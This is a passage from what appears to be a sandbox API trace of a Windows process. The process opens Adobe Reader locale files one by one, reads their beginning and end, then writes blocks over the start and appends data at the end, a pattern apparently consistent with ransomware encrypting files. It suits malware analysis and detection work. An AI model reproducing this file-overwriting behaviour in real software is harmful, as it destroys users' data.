lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.955] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xf5 [0039.955] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.955] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.955] ReleaseMutex (hMutex=0x128) returned 1 [0039.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.955] ReadFile (in: hFile=0x184, lpBuffer=0x1ddc0e8, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddc0e8*, lpNumberOfBytesRead=0x32cf2bc*=0xf5, lpOverlapped=0x0) returned 1 [0039.956] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.956] WriteFile (in: hFile=0x184, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x67d, lpOverlapped=0x0) returned 1 [0039.956] CloseHandle (hObject=0x184) returned 1 [0039.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.956] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.956] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1ea00 [0039.957] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.957] ReleaseMutex (hMutex=0x128) returned 1 [0039.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SKY", lpUsedDefaultChar=0x0) returned 10 [0039.957] ReadFile (in: hFile=0x184, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0040.364] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1da00 [0040.364] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0040.780] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1da00 [0040.780] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.780] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0040.780] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.781] CloseHandle (hObject=0x184) returned 1 [0040.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\ReadOutLoud.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\readoutloud.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0040.791] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0040.791] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2a00 [0040.791] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0040.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.792] ReleaseMutex (hMutex=0x128) returned 1 [0040.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x1e6338c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SKY", lpUsedDefaultChar=0x0) returned 15 [0040.792] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0040.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0040.853] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.074] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0041.074] WriteFile (in: hFile=0x184, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.074] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.074] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.074] CloseHandle (hObject=0x184) returned 1 [0041.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Accessibility.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\accessibility.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.075] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.075] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa600 [0041.075] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.075] ReleaseMutex (hMutex=0x128) returned 1 [0041.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.SLV", lpUsedDefaultChar=0x0) returned 17 [0041.075] ReadFile (in: hFile=0x184, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0041.108] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9600 [0041.108] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.108] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9600 [0041.108] WriteFile (in: hFile=0x184, lpBuffer=0x2734838*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2734838*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.108] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.108] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.108] CloseHandle (hObject=0x184) returned 1 [0041.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\IA32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ia32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.109] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.109] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe00 [0041.109] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.109] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.109] ReleaseMutex (hMutex=0x128) returned 1 [0041.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SLV", lpUsedDefaultChar=0x0) returned 8 [0041.109] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf2bc*=0xe00, lpOverlapped=0x0) returned 1 [0041.191] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.191] WriteFile (in: hFile=0x184, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x32cf2d0*=0x1388, lpOverlapped=0x0) returned 1 [0041.192] CloseHandle (hObject=0x184) returned 1 [0041.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SendMail.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\sendmail.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.192] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.192] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3c00 [0041.192] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.192] ReleaseMutex (hMutex=0x128) returned 1 [0041.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SLV", lpUsedDefaultChar=0x0) returned 12 [0041.192] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.215] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2c00 [0041.215] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.215] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2c00 [0041.215] WriteFile (in: hFile=0x184, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.216] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.216] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.216] CloseHandle (hObject=0x184) returned 1 [0041.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.216] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.216] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3200 [0041.216] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.216] ReleaseMutex (hMutex=0x128) returned 1 [0041.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SVE", lpUsedDefaultChar=0x0) returned 13 [0041.216] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.235] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2200 [0041.235] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.235] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2200 [0041.236] WriteFile (in: hFile=0x184, lpBuffer=0x2734638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2734638*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.236] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.236] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.236] CloseHandle (hObject=0x184) returned 1 [0041.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.237] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.237] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7dc00 [0041.237] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.237] ReleaseMutex (hMutex=0x128) returned 1 [0041.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SVE", lpUsedDefaultChar=0x0) returned 11 [0041.237] ReadFile (in: hFile=0x184, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0041.257] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7cc00 [0041.257] ReadFile (in: hFile=0x184, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.279] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7cc00 [0041.279] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.280] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.280] WriteFile (in: hFile=0x184, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.280] CloseHandle (hObject=0x184) returned 1 [0041.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.280] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.280] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2800 [0041.281] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.281] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.281] ReleaseMutex (hMutex=0x128) returned 1 [0041.281] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.281] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SVE", lpUsedDefaultChar=0x0) returned 